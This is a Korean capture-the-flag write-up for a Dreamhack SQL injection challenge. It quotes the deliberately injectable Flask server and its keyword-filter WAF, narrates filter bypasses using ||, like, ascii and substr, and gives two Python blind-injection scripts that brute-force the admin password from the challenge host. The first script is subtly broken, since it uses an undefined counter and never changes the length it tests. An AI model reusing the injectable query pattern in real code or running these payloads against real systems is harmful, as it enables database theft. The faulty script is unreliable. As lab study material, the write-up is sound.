아래는 서버 코드이다.
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
/t와 /n등 필터링이 추가되어서 공백 우회가 어려울 것 같다.
또한 lower로 변환한 후 필터링 하기 때문에 이전에 Union같은 대소문자 우회도 어렵겠다.
그래서 이번에야말로 concat함수나 reverse함수를 써보려고 했다.
애초에 union은 포기하고
Or를 한 후 공백을 쓸 수 없기에 연산자인 ||로 우회했다.
그리고 먼저 reverse와 concat함수로 테스트를 해보았다.
하지만 아래처럼 함수들은 왜인지 인식이 되지 않았다.
16진수를 sql에서는 문자로 인식해주기 때문에 해봤지만 이 역시 되지 않았다.
그래서 전에 배웠던 like를 사용하기로 했다.
그렇게 아래와 같은 쿼리로 우회 테스트를 성공했다.
하지만 이 역시 두번째 row를 출력하고 있기 때문에 uid만 보여주고 있었다.
여기서 내가 여러가지로 알아보았다.
먼저 select문에서 특정 컬럼을 제외할 수 있는 방법이 있는지 검색해보았다.
하지만 select문에서 특정 컬럼을 제외하는 함수는 없고 임시 테이블에서 컬럼을 삭제해주는 방법 밖에 없었다.
하지만 그렇게 긴 쿼리를 작성하려면 공백은 필수였고 여러가지로 어려웠다.
시도는 해보았지만 역시나 실패했다.
그래서 생각이 난 것이 admin이라는 문자열을 이용한 블라인드 인젝션이다.
아래처럼 uid가 실패하면 그 뒤에를 보게 했다.
후자에서 참이 나오게 되면 그에 해당하는 결과가 나올 것이다.
나는 upw의 길이가 5와 같은 데이터를 검색했다.
그랬더니 아래처럼 'abcde'라는 uid가 나왔다.
실제로 abcde의 upw는 5글자이다.
이런 식으로 admin의 upw길이를 알아낸 후 브루트포싱 작업을 시작하면 될 것 같았다.
아래처럼 코드를 짜고 비밀번호의 길이를 알아냈다.
그리고 이제 한 글자씩 알아내야했다.
먼저 아래에서 쿼리문을 완성하기 위해 여러 테스트를 해보았다.
flag의 시작 은 'D'이기에 해봤는데 성공했다.
그렇게 바로 아래와 같이 코드를 작성하고 시도했다.
위처럼 잘 되는가 싶더니 sql의 특성상 대소문자를 구별안해주기 때문에 대소문자 두번씩 다 찾아지는 것을 볼 수 있었다.
이건 파이썬 상에서 ascii를 문자열로 변환했기에 일어난 일이다.
그래서 sql에서 ascii로 변경 하고 싶었다.
찾아보니 ascii라는 함수를 사용하면 가능한 일이었다.
그렇게 쿼리를 새로 짜고 공격을 시도하려던 중 속도가 마음에 들지 않아서 이진 탐색을 사용하려 했다.
아래처럼 like대신 >로 시도했는데 오류가 나서 포기했다.
그렇게 아래와 같은 코드를 완성하고 Flag를 구할 수 있었다.
import requests
url="http://host3.dreamhack.games:10619/"
passwdL=0
while(True):
cnt+=1
param={
'uid':f"'||(length(upw))like({passwdL})#"
}
print(f'try{cnt}')
if 'admin' in requests.get(url,params=param).text:
break
print(f"비밀번호 길이는 = {passwdL}")
import requests
from tqdm import tqdm
url="http://host3.dreamhack.games:10619/"
pwLen=44
pw=""
for i in range(1,pwLen+1):
print(f"try{i}")
for j in range(0,127):
param={
'uid':f"'||(ascii(substr(upw,{i},1)))like({j})#"
}
if 'admin' in requests.get(url,params=param).text:
pw+=chr(j)
print(f"pw={pw}")
break
print(f"flag = {pw}")
공부하는데 도움이 되었습니다. 감사합니다